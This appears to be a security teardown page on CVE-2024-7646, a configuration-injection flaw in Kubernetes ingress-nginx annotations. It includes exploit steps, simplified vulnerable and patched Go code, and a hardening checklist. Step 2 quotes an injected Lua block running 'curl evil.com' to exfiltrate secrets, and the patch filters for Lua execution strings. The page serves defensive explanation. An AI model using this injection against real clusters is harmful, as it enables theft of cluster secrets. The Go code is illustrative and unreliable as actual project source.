● CVE-2024-7646 / Ingress Zero-Day

CVE-2024-7646: Ingress-NGINX Custom Annotation Code Injection Teardown

How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.

💡 Plain English Explainer (ELI5)

Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.

Core Concepts & Subsystem Terms

Ingress-NGINX: The most widely deployed Kubernetes ingress controller, dynamically generating NGINX configuration from Ingress resources.
Ingress Annotations: Key-value metadata attached to Ingress resources to customize NGINX behavior (e.g. rate-limiting, SSL redirects).
Configuration Injection: Injecting newline characters (`\n`) and raw directives into generated `nginx.conf` files.
Controller Pod Compromise: Gaining shell execution inside the ingress-nginx pod, which holds credentials to read cluster-wide TLS certificates and secrets.

Step-by-Step Exploit Mechanics

Step 1

1. Create Ingress Resource

A developer with namespace rights creates an Ingress manifest.

Step 2

2. Inject Multiline Lua Snippet

The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.

Step 3

3. NGINX Template Reload

The ingress controller evaluates the annotation and reloads nginx.conf.

Step 4

4. Remote Code Execution

The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.

Source Code: Fatal Flaw vs. High-Level Fix

Delivered in clean, readable high-level source code (no raw assembly or binary diffs).

UNPATCHED FLAW

// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
    // ROOT CAUSE:
    // Raw annotation strings are inserted directly into nginx.conf template
    // without stripping newline characters or disallowing Lua block directives!
    snippet := cfg.Annotations.CustomSnippet
    t.tmpl.Execute(w, snippet)
    return nil
}

HARDENED PATCH

// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
    snippet := cfg.Annotations.CustomSnippet
    
    // 1. Strict allowlist validation of permitted directives
    if err := validateSnippetDirectives(snippet); err != nil {
        return fmt.Errorf("invalid annotation snippet: %w", err)
    }
    
    // 2. Reject arbitrary code execution blocks (Lua, system execution)
    if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
        return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
    }
    
    t.tmpl.Execute(w, snippet)
    return nil
}

Engineering & System Hardening Checklist

Disable `allow-snippet-annotations` in ingress-nginx ConfigMap if developers do not strictly require it.
Sanitize all Ingress custom annotations against regex allowlists preventing newline injection.
Restrict Ingress creation permissions using Kubernetes Admission Controllers (OPA Gatekeeper, Kyverno).
Run ingress-nginx controller pods with non-root user IDs and read-only root filesystems.

← Browse Full Security Directory Explore All Source Teardowns →